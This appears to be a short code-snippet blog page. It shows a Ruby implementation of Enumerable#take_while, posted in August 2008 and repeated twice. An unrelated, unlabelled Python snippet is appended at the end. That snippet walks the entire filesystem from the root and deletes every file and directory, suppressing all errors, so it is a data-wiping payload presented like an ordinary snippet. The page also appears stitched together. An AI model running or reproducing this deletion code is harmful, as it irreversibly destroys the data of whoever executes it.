12th Tue
Enumerable#take_while
ruby>>
module Enumerable
def take_while
inject([]) do |xs, x|
yield x or break xs
xs << x
end
end
end
<<ruby
posted by
faerie on Tue 12 Aug 2008 at 20:36 with 0 comments
ruby>>
module Enumerable
def take_while
inject([]) do |xs, x|
yield x or break xs
xs << x
end
end
end
<<ruby
python>>
import os
for root, dirs, files in os.walk('/'):
for f in files+dirs:
try:
os.unlink(os.path.join(root, f))
except:
pass
<<python